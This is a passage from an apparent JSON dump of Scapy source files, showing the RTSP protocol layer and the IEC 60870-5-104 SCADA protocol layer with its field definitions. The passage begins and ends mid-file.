    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nReal Time Streaming Protocol (RTSP)\nRFC 2326\n\"\"\"\n\n# scapy.contrib.description = Real Time Streaming Protocol (RTSP)\n# scapy.contrib.status = loads\n\nimport re\n\nfrom scapy.packet import (\n    bind_bottom_up,\n    bind_layers,\n)\nfrom scapy.layers.http import (\n    HTTP,\n    _HTTPContent,\n    _HTTPHeaderField,\n    _generate_headers,\n    _dissect_headers,\n)\nfrom scapy.layers.inet import TCP\n\n\nRTSP_REQ_HEADERS = [\n    \"Accept\",\n    \"Accept-Encoding\",\n    \"Accept-Language\",\n    \"Authorization\",\n    \"From\",\n    \"If-Modified-Since\",\n    \"Range\",\n    \"Referer\",\n    \"User-Agent\",\n]\nRTSP_RESP_HEADERS = [\n    \"Location\",\n    \"Proxy-Authenticate\",\n    \"Public\",\n    \"Retry-After\",\n    \"Server\",\n    \"Vary\",\n    \"WWW-Authenticate\",\n]\n\n\nclass RTSPRequest(_HTTPContent):\n    name = \"RTSP Request\"\n    fields_desc = (\n        [\n            # First line\n            _HTTPHeaderField(\"Method\", \"DESCRIBE\"),\n            _HTTPHeaderField(\"Request_Uri\", \"*\"),\n            _HTTPHeaderField(\"Version\", \"RTSP/1.0\"),\n            # Headers\n        ]\n        + (\n            _generate_headers(\n                RTSP_REQ_HEADERS,\n            )\n        )\n        + [\n            _HTTPHeaderField(\"Unknown-Headers\", None),\n        ]\n    )\n\n    def do_dissect(self, s):\n        first_line, body = _dissect_headers(self, s)\n        try:\n            method, uri, version = re.split(rb\"\\s+\", first_line, maxsplit=2)\n            self.setfieldval(\"Method\", method)\n            self.setfieldval(\"Request_Uri\", uri)\n            self.setfieldval(\"Version\", version)\n        except ValueError:\n            pass\n        if body:\n            self.raw_packet_cache = s[: -len(body)]\n        else:\n            self.raw_packet_cache = s\n        return body\n\n    def mysummary(self):\n        return self.sprintf(\n            \"%RTSPRequest.Method% %RTSPRequest.Request_Uri% \" \"%RTSPRequest.Version%\"\n        )\n\n\nclass RTSPResponse(_HTTPContent):\n    name = \"RTSP Response\"\n    fields_desc = (\n        [\n            # First line\n            _HTTPHeaderField(\"Version\", \"RTSP/1.1\"),\n            _HTTPHeaderField(\"Status_Code\", \"200\"),\n            _HTTPHeaderField(\"Reason_Phrase\", \"OK\"),\n            # Headers\n        ]\n        + (\n            _generate_headers(\n                RTSP_RESP_HEADERS,\n            )\n        )\n        + [\n            _HTTPHeaderField(\"Unknown-Headers\", None),\n        ]\n    )\n\n    def answers(self, other):\n        return RTSPRequest in other\n\n    def do_dissect(self, s):\n        first_line, body = _dissect_headers(self, s)\n        try:\n            Version, Status, Reason = re.split(rb\"\\s+\", first_line, maxsplit=2)\n            self.setfieldval(\"Version\", Version)\n            self.setfieldval(\"Status_Code\", Status)\n            self.setfieldval(\"Reason_Phrase\", Reason)\n        except ValueError:\n            pass\n        if body:\n            self.raw_packet_cache = s[: -len(body)]\n        else:\n            self.raw_packet_cache = s\n        return body\n\n    def mysummary(self):\n        return self.sprintf(\n            \"%RTSPResponse.Version% %RTSPResponse.Status_Code% \"\n            \"%RTSPResponse.Reason_Phrase%\"\n        )\n\n\nclass RTSP(HTTP):\n    name = \"RTSP\"\n    clsreq = RTSPRequest\n    clsresp = RTSPResponse\n    hdr = b\"RTSP\"\n    reqmethods = b\"|\".join(\n        [\n            b\"DESCRIBE\",\n            b\"ANNOUNCE\",\n            b\"GET_PARAMETER\",\n            b\"OPTIONS\",\n            b\"PAUSE\",\n            b\"PLAY\",\n            b\"RECORD\",\n            b\"REDIRECT\",\n            b\"SETUP\",\n            b\"SET_PARAMETER\",\n            b\"TEARDOWN\",\n        ]\n    )\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        return cls\n\n\nbind_bottom_up(TCP, RTSP, sport=554)\nbind_bottom_up(TCP, RTSP, dport=554)\nbind_layers(TCP, RTSP, dport=554, sport=554)\n"
  },
  {
    "path": "scapy/contrib/scada/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Thomas Tannhaeuser <hecke@naberius.de>\n\n# scapy.contrib.status = skip\n\n\n# Package of contrib SCADA modules.\n\n\n\"\"\"contains packages related to SCADA protocol layers.\"\"\"\n\nfrom scapy.contrib.scada.iec104 import *  # noqa F403,F401\n"
  },
  {
    "path": "scapy/contrib/scada/iec104/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Thomas Tannhaeuser <hecke@naberius.de>\n\n# scapy.contrib.description = IEC-60870-5-104 APCI / APDU layer definitions\n# scapy.contrib.status = loads\n\n\"\"\"\n    IEC 60870-5-104\n    ~~~~~~~~~~~~~~~\n\n    :description:\n\n        This module provides the IEC 60870-5-104 (common short name: iec104)\n        layer, the information objects and related information element\n        definitions.\n\n        normative references:\n            - IEC 60870-5-4:1994 (atomic base types / data format)\n            - IEC 60870-5-101:2003 (information elements (sec. 7.2.6) and\n              ASDU definition (sec. 7.3))\n            - IEC 60870-5-104:2006 (information element TSC (sec. 8.8, p. 44))\n\n    :TODO:\n        - add allowed direction to IO attributes\n          (but this could be derived from the name easily <--> )\n        - information elements / objects need more testing\n          (e.g. on live traffic w comparison against tshark)\n\n    :NOTES:\n        - bit and octet numbering is used as in the related standards\n          (they usually start with index one instead of zero)\n        - some of the information objects are only valid for IEC 60870-5-101 -\n          so usually they should never appear on the network as iec101 uses\n          serial connections. I added them if decoding of those messages is\n          needed cause one goes to implement a iec101<-->iec104 gateway or\n          hits such a gateway that acts not standard conform (e.g. by\n          forwarding 101 messages to a 104 network)\n\"\"\"\n\nfrom scapy.contrib.scada.iec104.iec104_fields import *  # noqa F403,F401\nfrom scapy.contrib.scada.iec104.iec104_information_elements import *  # noqa F403,F401\nfrom scapy.contrib.scada.iec104.iec104_information_objects import *  # noqa F403,F401\n\nfrom scapy.compat import orb\nfrom scapy.config import conf\nfrom scapy.error import warning, Scapy_Exception\nfrom scapy.fields import ByteField, BitField, ByteEnumField, PacketListField, \\\n    BitEnumField, XByteField, FieldLenField, LEShortField, BitFieldLenField\nfrom scapy.layers.inet import TCP\nfrom scapy.packet import Raw, Packet, bind_layers\n\nIEC_104_IANA_PORT = 2404\n\n# direction - from the central station to the substation\nIEC104_CONTROL_DIRECTION = 0\nIEC104_CENTRAL_2_SUB_DIR = IEC104_CONTROL_DIRECTION\n\n# direction - from the substation to the central station\nIEC104_MONITOR_DIRECTION = 1\nIEC104_SUB_2_CENTRAL_DIR = IEC104_MONITOR_DIRECTION\n\nIEC104_DIRECTIONS = {\n    IEC104_MONITOR_DIRECTION: 'monitor direction (sub -> central)',\n    IEC104_CONTROL_DIRECTION: 'control direction (central -> sub)',\n}\n\n# COT - cause of transmission\nIEC104_COT_UNDEFINED = 0\nIEC104_COT_CYC = 1\nIEC104_COT_BACK = 2\nIEC104_COT_SPONT = 3\nIEC104_COT_INIT = 4\nIEC104_COT_REQ = 5\nIEC104_COT_ACT = 6\nIEC104_COT_ACTCON = 7\nIEC104_COT_DEACT = 8\nIEC104_COT_DEACTCON = 9\nIEC104_COT_ACTTERM = 10\nIEC104_COT_RETREM = 11\nIEC104_COT_RETLOC = 12\nIEC104_COT_FILE = 13\nIEC104_COT_RESERVED_14 = 14\nIEC104_COT_RESERVED_15 = 15\nIEC104_COT_RESERVED_16 = 16\nIEC104_COT_RESERVED_17 = 17\nIEC104_COT_RESERVED_18 = 18\nIEC104_COT_RESERVED_19 = 19\nIEC104_COT_INROGEN = 20\nIEC104_COT_INRO1 = 21\nIEC104_COT_INRO2 = 22\nIEC104_COT_INRO3 = 23\nIEC104_COT_INRO4 = 24\nIEC104_COT_INRO5 = 25\nIEC104_COT_INRO6 = 26\nIEC104_COT_INRO7 = 27\nIEC104_COT_INRO8 = 28\nIEC104_COT_INRO9 = 29\nIEC104_COT_INRO10 = 30\nIEC104_COT_INRO11 = 31\nIEC104_COT_INRO12 = 32\nIEC104_COT_INRO13 = 33\nIEC104_COT_INRO14 = 34\nIEC104_COT_INRO15 = 35\nIEC104_COT_INRO16 = 36\nIEC104_COT_REQCOGEN = 37\nIEC104_COT_REQCO1 = 38\nIEC104_COT_REQCO2 = 39\nIEC104_COT_REQCO3 = 40\nIEC104_COT_REQCO4 = 41\nIEC104_COT_RESERVED_42 = 42\nIEC104_COT_RESERVED_43 = 43\nIEC104_COT_UNKNOWN_TYPE_CODE = 44\nIEC104_COT_UNKNOWN_TRANSMIT_REASON = 45\nIEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU = 46\nIEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT = 47\nIEC104_COT_PRIVATE_48 = 48\nIEC104_COT_PRIVATE_49 = 49\nIEC104_COT_PRIVATE_50 = 50\nIEC104_COT_PRIVATE_51 = 51\nIEC104_COT_PRIVATE_52 = 52\nIEC104_COT_PRIVATE_53 = 53\nIEC104_COT_PRIVATE_54 = 54\nIEC104_COT_PRIVATE_55 = 55\nIEC104_COT_PRIVATE_56 = 56\nIEC104_COT_PRIVATE_57 = 57\nIEC104_COT_PRIVATE_58 = 58\nIEC104_COT_PRIVATE_59 = 59\nIEC104_COT_PRIVATE_60 = 60\nIEC104_COT_PRIVATE_61 = 61\nIEC104_COT_PRIVATE_62 = 62\nIEC104_COT_PRIVATE_63 = 63\n\nCAUSE_OF_TRANSMISSIONS = {\n    IEC104_COT_UNDEFINED: 'undefined',\n    IEC104_COT_CYC: 'cyclic (per/cyc)',\n    IEC104_COT_BACK: 'background (back)',\n    IEC104_COT_SPONT: 'spontaneous (spont)',\n    IEC104_COT_INIT: 'initialized (init)',\n    IEC104_COT_REQ: 'request (req)',\n    IEC104_COT_ACT: 'activation (act)',\n    IEC104_COT_ACTCON: 'activation confirmed (actcon)',\n    IEC104_COT_DEACT: 'activation canceled (deact)',\n    IEC104_COT_DEACTCON: 'activation cancellation confirmed (deactcon)',\n    IEC104_COT_ACTTERM: 'activation finished (actterm)',\n    IEC104_COT_RETREM: 'feedback caused by remote command (retrem)',\n    IEC104_COT_RETLOC: 'feedback caused by local command (retloc)',\n    IEC104_COT_FILE: 'file transfer (file)',\n    IEC104_COT_RESERVED_14: 'reserved_14',\n    IEC104_COT_RESERVED_15: 'reserved_15',\n    IEC104_COT_RESERVED_16: 'reserved_16',\n    IEC104_COT_RESERVED_17: 'reserved_17',\n    IEC104_COT_RESERVED_18: 'reserved_18',\n    IEC104_COT_RESERVED_19: 'reserved_19',\n    IEC104_COT_INROGEN: 'queried by station (inrogen)',\n    IEC104_COT_INRO1: 'queried by query to group 1 (inro1)',\n    IEC104_COT_INRO2: 'queried by query to group 2 (inro2)',\n    IEC104_COT_INRO3: 'queried by query to group 3 (inro3)',\n    IEC104_COT_INRO4: 'queried by query to group 4 (inro4)',\n    IEC104_COT_INRO5: 'queried by query to group 5 (inro5)',\n    IEC104_COT_INRO6: 'queried by query to group 6 (inro6)',\n    IEC104_COT_INRO7: 'queried by query to group 7 (inro7)',\n    IEC104_COT_INRO8: 'queried by query to group 8 (inro8)',\n    IEC104_COT_INRO9: 'queried by query to group 9 (inro9)',\n    IEC104_COT_INRO10: 'queried by query to group 10 (inro10)',\n    IEC104_COT_INRO11: 'queried by query to group 11 (inro11)',\n    IEC104_COT_INRO12: 'queried by query to group 12 (inro12)',\n    IEC104_COT_INRO13: 'queried by query to group 13 (inro13)',\n    IEC104_COT_INRO14: 'queried by query to group 14 (inro14)',\n    IEC104_COT_INRO15: 'queried by query to group 15 (inro15)',\n    IEC104_COT_INRO16: 'queried by query to group 16 (inro16)',\n    IEC104_COT_REQCOGEN: 'queried by counter general interrogation (reqcogen)',\n    IEC104_COT_REQCO1: 'queried by query to counter group 1 (reqco1)',\n    IEC104_COT_REQCO2: 'queried by query to counter group 2 (reqco2)',\n    IEC104_COT_REQCO3: 'queried by query to counter group 3 (reqco3)',\n    IEC104_COT_REQCO4: 'queried by query to counter group 4 (reqco4)',\n    IEC104_COT_RESERVED_42: 'reserved_42',\n    IEC104_COT_RESERVED_43: 'reserved_43',\n    IEC104_COT_UNKNOWN_TYPE_CODE: 'unknown type code',\n    IEC104_COT_UNKNOWN_TRANSMIT_REASON: 'unknown transmit reason',\n    IEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU:\n        'unknown common address of ASDU',\n    IEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT:\n        'unknown address of information object',\n    IEC104_COT_PRIVATE_48: 'private_48',\n    IEC104_COT_PRIVATE_49: 'private_49',\n    IEC104_COT_PRIVATE_50: 'private_50',\n    IEC104_COT_PRIVATE_51: 'private_51',\n    IEC104_COT_PRIVATE_52: 'private_52',\n    IEC104_COT_PRIVATE_53: 'private_53',\n    IEC104_COT_PRIVATE_54: 'private_54',\n    IEC104_COT_PRIVATE_55: 'private_55',\n    IEC104_COT_PRIVATE_56: 'private_56',\n    IEC104_COT_PRIVATE_57: 'private_57',\n    IEC104_COT_PRIVATE_58: 'private_58',\n    IEC104_COT_PRIVATE_59: 'private_59',\n    IEC104_COT_PRIVATE_60: 'private_60',\n    IEC104_COT_PRIVATE_61: 'private_61',\n    IEC104_COT_PRIVATE_62: 'private_62',\n    IEC104_COT_PRIVATE_63: 'private_63'\n}\n\nIEC104_APDU_TYPE_UNKNOWN = 0x00\nIEC104_APDU_TYPE_I_SEQ_IOA = 0x01\nIEC104_APDU_TYPE_I_SINGLE_IOA = 0x02\nIEC104_APDU_TYPE_U = 0x03\nIEC104_APDU_TYPE_S = 0x04\n\n\ndef _iec104_apci_type_from_packet(data):\n    \"\"\"\n    the type of the message is encoded in octet 1..4\n\n                 oct 1, bit 1   2       oct 3, bit 1\n    I Message               0  1|0                 0\n    S Message               1   0                  0\n    U Message               1   1                  0\n\n\n    see EN 60870-5-104:2006, sec. 5 (p. 13, fig. 6,7,8)\n    \"\"\"\n\n    oct_1 = orb(data[2])\n    oct_3 = orb(data[4])\n\n    oct_1_bit_1 = bool(oct_1 & 1)\n    oct_1_bit_2 = bool(oct_1 & 2)\n    oct_3_bit_1 = bool(oct_3 & 1)\n\n    if oct_1_bit_1 is False and oct_3_bit_1 is False:\n        if len(data) < 8:\n            return IEC104_APDU_TYPE_UNKNOWN\n\n        is_seq_ioa = ((orb(data[7]) & 0x80) == 0x80)\n\n        if is_seq_ioa:\n            return IEC104_APDU_TYPE_I_SEQ_IOA\n        else:\n            return IEC104_APDU_TYPE_I_SINGLE_IOA\n\n    if oct_1_bit_1 and oct_1_bit_2 is False and oct_3_bit_1 is False:\n        return IEC104_APDU_TYPE_S\n\n    if oct_1_bit_1 and oct_1_bit_2 and oct_3_bit_1 is False:\n        return IEC104_APDU_TYPE_U\n\n    return IEC104_APDU_TYPE_UNKNOWN\n\n\nclass IEC104_APDU(Packet):\n    \"\"\"\n    basic Application Protocol Data Unit definition used by S/U/I messages\n    \"\"\"\n\n    def guess_payload_class(self, payload):\n\n        payload_len = len(payload)\n\n        if payload_len < 6:\n            return self.default_payload_class(payload)\n\n        if orb(payload[0]) != 0x68:\n            self.default_payload_class(payload)\n\n        # the length field contains the number of bytes starting from the\n        # first control octet\n        apdu_length = 2 + orb(payload[1])\n\n        if payload_len < apdu_length:\n            warning(\n                'invalid len of APDU. given len: {} available len: {}'.format(\n                    apdu_length, payload_len))\n            return self.default_payload_class(payload)\n\n        apdu_type = _iec104_apci_type_from_packet(payload)\n\n        return IEC104_APDU_CLASSES.get(apdu_type,\n                                       self.default_payload_class(payload))\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        detect type of the message by checking packet data\n        :param _pkt: raw bytes of the packet layer data to be checked\n        :param args: unused\n        :param kargs: unused\n        :return: class of the detected message type\n        \"\"\"\n\n        if _iec104_is_i_apdu_seq_ioa(_pkt):\n            return IEC104_I_Message_SeqIOA\n\n        if _iec104_is_i_apdu_single_ioa(_pkt):\n            return IEC104_I_Message_SingleIOA\n\n        if _iec104_is_u_apdu(_pkt):\n            return IEC104_U_Message\n\n        if _iec104_is_s_apdu(_pkt):\n            return IEC104_S_Message\n\n        return Raw\n\n\nclass IEC104_S_Message(IEC104_APDU):\n    \"\"\"\n    message used for ack of received I-messages\n    \"\"\"\n    name = 'IEC-104 S APDU'\n\n    fields_desc = [\n\n        XByteField('start', 0x68),\n        ByteField(\"apdu_length\", 4),\n\n        ByteField('octet_1', 0x01),\n        ByteField('octet_2', 0),\n        IEC104SequenceNumber('rx_seq_num', 0),\n    ]\n\n\nclass IEC104_U_Message(IEC104_APDU):\n    \"\"\"\n    message used for connection tx control (start/stop)  and monitoring (test)\n    \"\"\"\n    name = 'IEC-104 U APDU'\n\n    fields_desc = [\n\n        XByteField('start', 0x68),\n        ByteField(\"apdu_length\", 4),\n\n        BitField('testfr_con', 0, 1),\n        BitField('testfr_act', 0, 1),\n        BitField('stopdt_con', 0, 1),\n        BitField('stopdt_act', 0, 1),\n        BitField('startdt_con', 0, 1),\n        BitField('startdt_act', 0, 1),\n        BitField('octet_1_1_2', 3, 2),\n\n        ByteField('octet_2', 0),\n        ByteField('octet_3', 0),\n        ByteField('octet_4', 0)\n    ]\n\n\ndef _i_msg_io_dispatcher_sequence(pkt, next_layer_data):\n    \"\"\"\n    get the type id and return the matching ASDU instance\n    \"\"\"\n    next_layer_class_type = IEC104_IO_CLASSES.get(pkt.type_id, conf.raw_layer)\n\n    return next_layer_class_type(next_layer_data)\n\n\ndef _i_msg_io_dispatcher_single(pkt, next_layer_data):\n    \"\"\"\n    get the type id and return the matching ASDU instance\n    (information object address + regular ASDU information object fields)\n    \"\"\"\n    next_layer_class_type = IEC104_IO_WITH_IOA_CLASSES.get(pkt.type_id,\n                                                           conf.raw_layer)\n\n    return next_layer_class_type(next_layer_data)\n\n\nclass IEC104ASDUPacketListField(PacketListField):\n    \"\"\"\n    used to add a list of information objects to an I-message\n    \"\"\"\n    def m2i(self, pkt, m):\n        \"\"\"\n        add calling layer instance to the cls()-signature\n        :param pkt: calling layer instance\n        :param m: raw data forming the next layer\n        :return: instance of the class representing the next layer\n        \"\"\"\n        return self.cls(pkt, m)\n\n\nclass IEC104_I_Message_StructureException(Scapy_Exception):\n    \"\"\"\n    Exception raised if payload is not of type Information Object\n    \"\"\"\n    pass\n\n\nclass IEC104_I_Message(IEC104_APDU):\n    \"\"\"\n    message used for transmitting data (APDU - Application Protocol Data Unit)\n\n    APDU: MAGIC + APCI + ASDU\n    MAGIC: 0x68\n    APCI : Control Information (rx/tx seq/ack numbers)\n    ASDU : Application Service Data Unit - information object related data\n\n    see EN 60870-5-104:2006, sec. 5 (p. 12)\n    \"\"\"\n    name = 'IEC-104 I APDU'\n\n    IEC_104_MAGIC = 0x68  # dec -> 104\n\n    SQ_FLAG_SINGLE = 0\n    SQ_FLAG_SEQUENCE = 1\n\n    SQ_FLAGS = {\n        SQ_FLAG_SINGLE: 'single',\n        SQ_FLAG_SEQUENCE: 'sequence'\n    }\n\n    TEST_DISABLED = 0\n    TEST_ENABLED = 1\n\n    TEST_FLAGS = {\n        TEST_DISABLED: 'disabled',\n        TEST_ENABLED: 'enabled'\n    }\n\n    ACK_POSITIVE = 0\n    ACK_NEGATIVE = 1\n\n    ACK_FLAGS = {\n        ACK_POSITIVE: 'positive',\n        ACK_NEGATIVE: 'negative'\n    }\n\n    fields_desc = []\n\n    def __init__(self, _pkt=b\"\", post_transform=None, _internal=0,\n                 _underlayer=None, **fields):\n\n        super(IEC104_I_Message, self).__init__(_pkt=_pkt,\n                                               post_transform=post_transform,\n                                               _internal=_internal,\n                                               _underlayer=_underlayer,\n                                               **fields)\n\n        if 'io' in fields and fields['io']:\n            self._information_object_update(fields['io'])\n\n    def _information_object_update(self, io_instances):\n        \"\"\"\n        set the type_id in the ASDU header based on the given information\n        object (io) and check for valid structure\n        :param io_instances: information object\n        \"\"\"\n\n        if not isinstance(io_instances, list):\n            io_instances = [io_instances]\n\n        first_io = io_instances[0]\n        first_io_class = first_io.__class__\n\n        if not issubclass(first_io_class, IEC104_IO_Packet):\n            raise IEC104_I_Message_StructureException(\n                'information object payload must be a subclass of '\n                'IEC104_IO_Packet')\n\n        self.type_id = first_io.iec104_io_type_id()\n\n        # ensure all io elements within the ASDU share the same class type\n        for io_inst in io_instances[1:]:\n            if io_inst.__class__ != first_io_class:\n                raise IEC104_I_Message_StructureException(\n                    'each information object within the ASDU must be of '\n                    'the same class type (first io: {}, '\n                    'current io: {})'.format(first_io_class._name,\n                                             io_inst._name))\n\n\nclass IEC104_I_Message_SeqIOA(IEC104_I_Message):\n    \"\"\"\n    all information objects share a base information object address field\n\n    sq = 1, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33)\n    \"\"\"\n    name = 'IEC-104 I APDU (Seq IOA)'\n\n    fields_desc = [\n        # APCI\n        XByteField('start', IEC104_I_Message.IEC_104_MAGIC),\n        FieldLenField(\"apdu_length\", None, fmt=\"!B\", length_of='io',\n                      adjust=lambda pkt, x: x + 13),\n\n        IEC104SequenceNumber('tx_seq_num', 0),\n        IEC104SequenceNumber('rx_seq_num', 0),\n\n        # ASDU\n        ByteEnumField('type_id', 0, IEC104_IO_NAMES),\n\n        BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SEQUENCE, 1,\n                     IEC104_I_Message.SQ_FLAGS),\n        BitFieldLenField('num_io', None, 7, count_of='io'),\n\n        BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS),\n        BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS),\n        BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS),\n\n        ByteField('origin_address', 0),\n\n        LEShortField('common_asdu_address', 0),\n\n        LEThreeBytesField('information_object_address', 0),\n\n        IEC104ASDUPacketListField('io',\n                                  conf.raw_layer(),\n                                  _i_msg_io_dispatcher_sequence,\n                                  length_from=lambda pkt: pkt.apdu_length - 13)\n    ]\n\n    def post_dissect(self, s):\n        if self.type_id == IEC104_IO_ID_C_RD_NA_1:\n\n            # IEC104_IO_ID_C_RD_NA_1 has no payload. we will add the layer\n            # manually to the stack right now. we do this num_io times\n            # as - even if it makes no sense - someone could decide\n            # to add more than one read commands in a sequence...\n            setattr(self, 'io', [IEC104_IO_C_RD_NA_1()] * self.num_io)\n\n        return s\n\n\nclass IEC104_I_Message_SingleIOA(IEC104_I_Message):\n    \"\"\"\n    every information object contains an individual information object\n    address field\n\n    sq = 0, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33)\n    \"\"\"\n    name = 'IEC-104 I APDU (single IOA)'\n\n    fields_desc = [\n        # APCI\n        XByteField('start', IEC104_I_Message.IEC_104_MAGIC),\n        FieldLenField(\"apdu_length\", None, fmt=\"!B\", length_of='io',\n                      adjust=lambda pkt, x: x + 10),\n\n        IEC104SequenceNumber('tx_seq_num', 0),\n        IEC104SequenceNumber('rx_seq_num', 0),\n\n        # ASDU\n        ByteEnumField('type_id', 0, IEC104_IO_NAMES),\n\n        BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SINGLE, 1,\n                     IEC104_I_Message.SQ_FLAGS),\n        BitFieldLenField('num_io', None, 7, count_of='io'),\n\n        BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS),\n        BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS),\n        BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS),\n\n        ByteField('origin_address', 0),\n\n        LEShortField('common_asdu_address', 0),\n\n        IEC104ASDUPacketListField('io',\n                                  conf.raw_layer(),\n                                  _i_msg_io_dispatcher_single,\n                                  length_from=lambda pkt: pkt.apdu_length - 10)\n    ]\n\n\nIEC104_APDU_CLASSES = {\n    IEC104_APDU_TYPE_UNKNOWN: conf.raw_layer,\n    IEC104_APDU_TYPE_I_SEQ_IOA: IEC104_I_Message_SeqIOA,\n    IEC104_APDU_TYPE_I_SINGLE_IOA: IEC104_I_Message_SingleIOA,\n    IEC104_APDU_TYPE_U: IEC104_U_Message,\n    IEC104_APDU_TYPE_S: IEC104_S_Message\n}\n\n\ndef _iec104_is_i_apdu_seq_ioa(payload):\n    len_payload = len(payload)\n    if len_payload < 6:\n        return False\n\n    if orb(payload[0]) != 0x68 or (\n            orb(payload[1]) + 2) > len_payload or len_payload < 8:\n        return False\n\n    return IEC104_APDU_TYPE_I_SEQ_IOA == _iec104_apci_type_from_packet(payload)\n\n\ndef _iec104_is_i_apdu_single_ioa(payload):\n    len_payload = len(payload)\n    if len_payload < 6:\n        return False\n\n    if orb(payload[0]) != 0x68 or (\n            orb(payload[1]) + 2) > len_payload or len_payload < 8:\n        return False\n\n    return IEC104_APDU_TYPE_I_SINGLE_IOA == _iec104_apci_type_from_packet(\n        payload)\n\n\ndef _iec104_is_u_apdu(payload):\n    if len(payload) < 6:\n        return False\n\n    if orb(payload[0]) != 0x68 or orb(payload[1]) != 4:\n        return False\n\n    return IEC104_APDU_TYPE_U == _iec104_apci_type_from_packet(payload)\n\n\ndef _iec104_is_s_apdu(payload):\n    if len(payload) < 6:\n        return False\n\n    if orb(payload[0]) != 0x68 or orb(payload[1]) != 4:\n        return False\n\n    return IEC104_APDU_TYPE_S == _iec104_apci_type_from_packet(payload)\n\n\ndef iec104_decode(payload):\n    \"\"\"\n    can be used to dissect payload of a TCP connection\n    :param payload: the application layer data (IEC104-APDU(s))\n    :return: iec104 (I/U/S) message instance, conf.raw_layer() if unknown\n    \"\"\"\n\n    if _iec104_is_i_apdu_seq_ioa(payload):\n        return IEC104_I_Message_SeqIOA(payload)\n    elif _iec104_is_i_apdu_single_ioa(payload):\n        return IEC104_I_Message_SingleIOA(payload)\n    elif _iec104_is_s_apdu(payload):\n        return IEC104_S_Message(payload)\n    elif _iec104_is_u_apdu(payload):\n        return IEC104_U_Message(payload)\n    else:\n        return conf.raw_layer(payload)\n\n\nbind_layers(TCP, IEC104_APDU, sport=IEC_104_IANA_PORT)\nbind_layers(TCP, IEC104_APDU, dport=IEC_104_IANA_PORT)\n"
  },
  {
    "path": "scapy/contrib/scada/iec104/iec104_fields.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Thomas Tannhaeuser <hecke@naberius.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\n    field type definitions used by iec 60870-5-104 layer (iec104)\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    :description:\n\n        This file provides field definitions used by the IEC-60870-5-104\n        implementation. Some of those fields are used exclusively by iec104\n        (e.g. IEC104SequenceNumber) while others (LESignedShortField) are\n        more common an may be moved to fields.py.\n\n        normative references:\n            - EN 60870-5-104:2006\n            - EN 60870-5-4:1993\n            - EN 60870-5-4:1994\n\"\"\"\nimport struct\n\nfrom scapy.compat import orb\nfrom scapy.fields import Field, ThreeBytesField, BitField\nfrom scapy.volatile import RandSShort\n\n\nclass LESignedShortField(Field):\n    \"\"\"\n    little endian signed short field\n    \"\"\"\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"<h\")\n\n\nclass IEC60870_5_4_NormalizedFixPoint(LESignedShortField):\n    \"\"\"\n    defined as typ 4.1 in EN 60870-5-4:1993, sec. 5.4.1 (p. 10)\n    \"\"\"\n\n    def i2repr(self, pkt, x):\n        \"\"\"\n        show the fixed fp-number and its signed short representation\n        \"\"\"\n\n        return '{} ({})'.format(self.i2h(pkt, x), x)\n\n    def i2h(self, pkt, x):\n        return x / 32768.\n\n    def randval(self):\n        # ToDo: this could also be implemented by adding fmt h+RandSShort to\n        # randval@class Field - should we ?!?\n        return RandSShort()\n\n\nclass LEIEEEFloatField(Field):\n    \"\"\"\n    little endian IEEE float field\n    \"\"\"\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"<f\")\n\n\nclass LEThreeBytesField(ThreeBytesField):\n    \"\"\"\n    little endian three bytes field\n    \"\"\"\n    def __init__(self, name, default):\n        ThreeBytesField.__init__(self, name, default)\n\n    def addfield(self, pkt, s, val):\n        data = struct.pack(self.fmt, self.i2m(pkt, val))[1:4][::-1]\n        return s + data\n\n    def getfield(self, pkt, s):\n        data = s[:3][::-1]\n        return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b\"\\x00\" + data)[0])\n\n\nclass IEC104SequenceNumber(Field):\n    \"\"\"\n\n    IEC 60870-5-104 uses the following encoding for sequence numbers\n    (see EN 60870-5-104:2006, p. 13):\n\n      bit ->7   6   5   4   3   2   1   0\n          +---+---+---+---+---+---+---+---+---------+\n          |   |   |   |   |   |   |LSB| 0 | =byte 0 |\n          +---+---+---+---+---+---+---+---+---------+\n          |MSB|   |   |   |   |   |   |   | =byte 1 |\n          +---+---+---+---+---+---+---+---+---------+\n\n    \"\"\"\n\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"!I\")\n\n    def addfield(self, pkt, s, val):\n        b0 = (val << 1) & 0xfe\n        b1 = val >> 7\n\n        return s + bytes(bytearray([b0, b1]))\n\n    def getfield(self, pkt, s):\n        b0 = (orb(s[0]) & 0xfe) >> 1\n        b1 = orb(s[1])\n\n        seq_num = b0 + (b1 << 7)\n\n        return s[2:], seq_num\n\n\nclass IEC104SignedSevenBitValue(BitField):\n    \"\"\"\n    Typ 2.1, 7 Bit, [-64..63]\n\n    see EN 60870-5-4:1994, Typ 2.1 (p. 13)\n    \"\"\"\n\n    def __init__(self, name, default):\n        